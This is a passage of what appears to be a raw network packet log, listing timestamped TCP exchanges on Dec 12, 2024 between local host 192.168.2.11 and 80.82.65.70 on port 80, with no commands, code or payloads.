                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697702885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697750092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.698419094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.698477030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.698519945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.698652029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.699243069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.699300051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.699335098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.699388981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.699980021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700036049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700081110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700141907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700740099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700865984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700881958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.700939894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702162027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702267885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702318907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702339888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702341080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702348948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.702402115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703272104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703361988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703479052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703536987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703915119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.703984976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704015970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704132080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704654932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704754114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704852104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.704940081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.705528021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.705589056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.705600977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.705708981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.706222057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.706290960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.706386089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.706439972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707031012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707144976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707344055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707396984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707840919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707899094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707937956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.707994938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.708591938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.708651066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.708682060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.708755016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.709357977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.709414005 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.709453106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.709508896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772413969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772490025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772532940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772589922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772818089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.772886038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773039103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773097992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773483038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773561001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773571968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.773624897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.774369001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.774449110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.774473906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.774506092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.775118113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.775173903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.775212049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.775263071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776016951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776072025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776076078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776185989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776684046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776742935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776779890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.776845932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.777398109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.777447939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.777465105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.777494907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778096914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778151035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778184891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778244019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778897047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778959990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.778991938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.779172897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.779648066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.779711962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.779735088 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.779784918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.780436039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.780503035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.780538082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.780589104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.781260967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.781318903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.781363010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.781457901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782021046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782074928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782238960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782300949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782804012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.782876968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783042908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783096075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783622026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783696890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783725977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.783780098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.784456968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.784528971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.784554958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.784588099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.785132885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.785187006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.785263062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.785345078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.785959005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786015034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786040068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786107063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786708117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786765099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786803007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.786887884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.787522078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.787611008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.787668943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.787698984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.788279057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.788350105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.788429022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.788494110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789129019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789192915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789232969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789298058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789865971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.789917946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790009022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790071964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790611982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790716887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790777922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.790905952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.791414022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.791501999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.791526079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.791574001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.792198896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.792253971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.792295933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.792399883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.792980909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793030977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793075085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793138981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793819904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793836117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793879032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.793911934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.794569016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.794636965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.794675112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.794869900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.795238018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.795440912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850297928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850389004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850467920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850717068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850733042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.850800037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.851432085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.851499081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.851628065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.851686954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.852212906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.852276087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887011051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887109041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887115002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887290001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887295008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887345076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887491941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.887574911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888156891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888221979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888223886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888386965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888879061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888936043 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.888998032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.889075041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.889743090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.889832020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.889857054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.890033960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.890443087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.890494108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.890521049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.890584946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.891519070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.891578913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.891653061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.891717911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892115116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892204046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892237902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892312050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892806053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892863989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.892949104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.893006086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.893635035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.893776894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.893815041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.893846989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.894412994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.894471884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.894512892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.894603968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.895164967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.895235062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.895294905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.895932913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.895997047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.896071911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.896119118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.896811008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.896912098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.896960020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.897517920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.897624016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.897677898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.898289919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.898380995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.898441076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.899048090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.899102926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.899192095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.899241924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.899916887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900010109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900053978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900122881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900608063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900680065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900688887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.900748014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.901401997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.901454926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.901525974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.901667118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.964835882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.964942932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.965069056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.965235949 CET804981980.82.65.70192.168.2.11
